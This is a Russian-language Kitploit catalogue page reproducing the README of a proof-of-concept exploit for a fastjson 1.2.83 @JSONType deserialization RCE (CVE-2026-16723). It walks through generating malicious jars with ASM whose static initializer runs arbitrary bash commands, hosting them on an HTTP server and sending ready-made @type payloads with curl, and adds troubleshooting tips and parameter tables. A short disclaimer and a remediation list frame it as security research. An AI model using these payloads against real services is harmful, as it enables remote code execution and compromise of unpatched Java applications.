Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-16723 — Воспроизводит RCE fastjson 1.2.83 @JSONType с уязвимой целью Spring Boot и генератором полезной нагрузки на основе ASM, использующим цепочки jar по HTTP- или файловому протоколу. | Kitploit
Инструменты/GitHubGitHub/superman-l/cve-2026-16723
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

Воспроизводит RCE fastjson 1.2.83 @JSONType с уязвимой целью Spring Boot и генератором полезной нагрузки на основе ASM, использующим цепочки jar по HTTP- или файловому протоколу.

Репозиторий
11 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🚨 CVE-2026-16723 — fastjson 1.2.83: RCE через цепочку обнаружения ресурсов @JSONType

Java fastjson Type Environment Status

Проект воспроизведения удалённой загрузки классов / выполнения команд для fastjson 1.2.66 ~ 1.2.83 через аннотацию @JSONType + недопустимое имя класса + протокол jar:.

⚠️ Отказ от ответственности

Данный проект предназначен только для исследований в области безопасности, воспроизведения уязвимостей и авторизованного тестирования. Запрещается использовать его против неавторизованных систем, для незаконных атак или вредоносных целей. Пользователь несёт полную ответственность за свои действия; автор не несёт юридической ответственности за любое злоупотребление.


Статья с анализом уязвимости: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 О проекте

Данный проект представляет собой полную среду для воспроизведения уязвимости fastjson 1.2.83, связанной с CVE-2026-16723:

  • demo/ — уязвимое веб-приложение на Spring Boot 2.7.18 (зависимость fastjson 1.2.83), которое предоставляет эндпоинт POST /parse, напрямую вызывающий JSON.parse(json);
  • exp/ — генератор вредоносных jar-зондов на основе ASM (в двух формах: по HTTP-протоколу / по FILE-протоколу);
  • 环境/ — предкомпилированные FatJar для трёх сервлетных контейнеров (Tomcat / Jetty / Undertow), готовые к использованию.

Основная идея эксплуатации: сформировав специальный JSON, в котором @type указывает на jar URL, заставить fastjson пройти доверенную ветку аннотации @JSONType → getResourceAsStream загружает удалённый/локальный jar → defineClass загружает вредоносный класс → инициализация класса запускает <clinit> → выполнение произвольных команд (RCE).


🎯 Обзор уязвимости

Условия эксплуатации

  1. Код цели: для разбора недоверенного ввода напрямую используется JSON.parse(json) или JSON.parseObject(json), версия fastjson — 1.2.66 ~ 1.2.83, safeMode не включён;
  2. Форма запуска цели: Spring Boot FatJar (запуск через java -jar, используется LaunchedURLClassLoader; только Spring Boot ≤ 2.7 сохраняет возможность отката обработчика протокола jar:);
  3. JVM цели: JDK 8 (на JDK 9+ метод defineClass выбрасывает ClassFormatError — максимум, чего можно достичь, это SSRF);
  4. Сетевая доступность: цель может получить доступ к HTTP-порту машины атакующего (цепочка по HTTP-протоколу) или прочитать локальный jar-файл (цепочка по FILE-протоколу).

🧩 Принцип уязвимости

Метод checkAutoType в fastjson при обнаружении класса с аннотацией @JSONType переходит в доверенную ветку, пропуская большинство проверок чёрного списка и разрешая загрузку. Данный проект использует это: байт-код записывается напрямую с помощью ASM, а 【недопустимое имя внутреннего класса】 помещается в this_class пула констант класса, благодаря чему все три имени идеально совпадают:

root@kitploit:~
@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

Структура вредоносного класса:

  1. Аннотация @JSONType — ключ, открывающий доверенную ветку checkAutoType в fastjson;
  2. Конструктор по умолчанию <init>()V — гарантирует, что fastjson сможет нормально создать экземпляр;
  3. Статический блок инициализации <clinit> — при инициализации класса выполняет Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), обеспечивая выполнение команд.

Недопустимое имя класса невозможно получить с помощью javac — только ASM позволяет записать URL напрямую в пул констант. Именно поэтому генератор данного проекта зависит от asm-9.6.jar.


📁 Структура проекта

root@kitploit:~
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

Эндпоинт лабораторной среды

demo/src/main/java/com/example/demo/controller/VulController.java:

root@kitploit:~
@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 Быстрый старт

1. Запуск уязвимой лабораторной среды

Лабораторная среда должна работать на JDK 8 (в соответствии с условиями эксплуатации).

root@kitploit:~
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

После запуска адрес эндпоинта: http://127.0.0.1:8080/parse


💥 Эксплуатация уязвимости

Способ 1: цепочка по HTTP-протоколу (jar:http, рекомендуется)

① Компиляция генератора

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② Генерация вредоносного jar-зонда

root@kitploit:~
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 — HTTP-порт для размещения вредоносного jar;
  • open -a Calculator — команда, которую нужно выполнить на машине цели (на macOS появится калькулятор; на Linux можно использовать id > /tmp/pwned 2>&1 и проверить, создан ли файл).

По умолчанию создаётся файл x (без расширения), внутри него содержится y.class; payload:

root@kitploit:~
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ Размещение вредоносного jar (HTTP-сервер)

root@kitploit:~
python3 -m http.server 19090

Убедитесь, что python3 -m http.server запущен в том же каталоге, где был создан файл x.

④ Отправка payload на цель

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ Проверка

Результат выполнения команды не отображается в HTTP-ответе — проверять необходимо на самой машине цели:

root@kitploit:~
# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

Способ 2: цепочка по FILE-протоколу (jar:file)

Сценарий применения: цель не может получить доступ к HTTP-порту машины атакующего (изоляция во внутренней сети / ограничен исходящий трафик), но jar-файл можно разместить в файловой системе целевой машины.

① Компиляция генератора

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbefile.java

② Генерация jar-зонда в соответствующем каталоге цели

root@kitploit:~
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

Генератор вычисляет URL jar:file: на основе текущего каталога (разделители каталогов / заменяются на .). Например, при генерации в /tmp/project/exp payload будет таким:

root@kitploit:~
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ Размещение сгенерированного jar в соответствующем каталоге на целевой машине

Загрузите или скопируйте сгенерированный файл y на целевую машину по абсолютному пути, соответствующему @type (например, /tmp/project/exp/y), сохранив структуру каталогов.

④ Отправка payload на цель

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

Внимание: путь в цепочке по FILE-протоколу должен точно совпадать с фактическим путём к файлу на целевой машине, иначе обнаружение ресурса завершится неудачей и загрузка не сработает.


⚙️ Параметры генератора

GenProbeHttp (цепочка по HTTP-протоколу)

GenProbefile (цепочка по FILE-протоколу)

Преобразование IP-адреса в целочисленную форму

2130706433 — это беззнаковое 32-битное целое число для 127.0.0.1. Запись в виде целого числа позволяет избежать повреждения точек . в IP-адресе логикой замены . → / в fastjson. Если машина атакующего не является локальной:

root@kitploit:~
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 Частые вопросы

Ошибка autoType is not support. jar:http:...

Это означает, что jar может быть загружен (SSRF подтверждён), но TypeUtils.loadClass вернул null. Причин практически всегда две:

  1. Вредоносный класс не имеет аннотации @JSONType — проверка не проходит доверенную ветку, и до loadClass дело вообще не доходит;
  2. Внутреннее имя класса вредоносного класса не совпадает с @type — имя класса в defineClass не соответствует фактическому, загрузка не удаётся.

Генератор данного проекта решает обе проблемы: аннотация @JSONType + выравнивание всех трёх имён.

Одиночная отправка jar:http по-прежнему не даёт RCE?

Если ClassLoader цели — не LaunchedURLClassLoader (например, запуск напрямую из IDE, обычный war-пакет, Spring Boot 3.x), одиночная цепочка jar:http не даёт RCE — максимум, что можно сделать, это подтвердить SSRF.

Почему требуется JDK 8?

В JDK 9+ метод defineClass более строго проверяет недопустимые имена классов и выбрасывает ClassFormatError — цепочка обрывается на этапе загрузки.


🛡 Рекомендации по исправлению

  1. Обновите компонент: fastjson 1.x больше не поддерживается, рекомендуется перейти на fastjson2 (или обновиться до исправленной версии) и следить за официальными бюллетенями безопасности;
  2. Включите safeMode: ParserConfig.getGlobalInstance().setSafeMode(true); полностью отключает autoType;
  3. Избегайте разбора недоверенного ввода: не вызывайте JSON.parse(json) / JSON.parseObject(json) напрямую для пользовательского ввода; по возможности используйте JSON.parseObject(json, Xxx.class) с явным указанием целевого типа;
  4. Используйте чёрные/белые списки: с помощью ParserConfig.addAccept(...) пропускайте только доверенные классы;
  5. Обновите Spring Boot / JDK: использование более новых версий JDK и Spring Boot снижает поверхность атаки;
  6. Минимизируйте доступность: для эндпоинтов, открытых в интернет, включите аутентификацию и настройте WAF на перехват подозрительных payload с @type.

📚 Ссылки

  • Официальный GitHub fastjson: https://github.com/alibaba/fastjson
  • Бюллетени безопасности / информация об уязвимостях fastjson: https://github.com/alibaba/fastjson/wiki/security_update_guidance

Если этот проект оказался вам полезен, поддержите ⭐ Star'ом исследования в области безопасности и развитие документации по уязвимостям.

⚠️ Используйте только для авторизованного тестирования, ни в коем случае не для незаконных целей!

Скачать инструмент
ПараметрЗначение
CVECVE-2026-16723
КомпонентAlibaba fastjson
Затронутые версии1.2.66 ~ 1.2.83 (последняя версия ветки 1.x всё ещё уязвима)
Тип уязвимостиУдалённое выполнение кода при десериализации (RCE)
Точка входаJSON.parse(json) / JSON.parseObject(json) (без указания конкретного типа)
Предварительные условияЦель — Spring Boot FatJar, JDK 8, safeMode отключён
ПараметрЗначение по умолчаниюОписание
port19090Порт размещения вредоносного jar
cmdid > /tmp/pwned 2>&1Команда для выполнения на целевой машине
hostToken2130706433IP-адрес в целочисленной форме, к которому обращается цель (127.0.0.1)
entryyИмя class-записи внутри jar
outFilexИмя сгенерированного jar-файла (без расширения)
ПараметрЗначение по умолчаниюОписание
port19090Зарезервированный параметр (в цепочке FILE порт не используется)
cmdid > /tmp/pwned 2>&1Команда для выполнения на целевой машине
dirТекущий каталогКаталог jar на целевой машине (используется для генерации URL jar:file:)
entryxИмя class-записи внутри jar
outFileyИмя сгенерированного jar-файла (без расширения)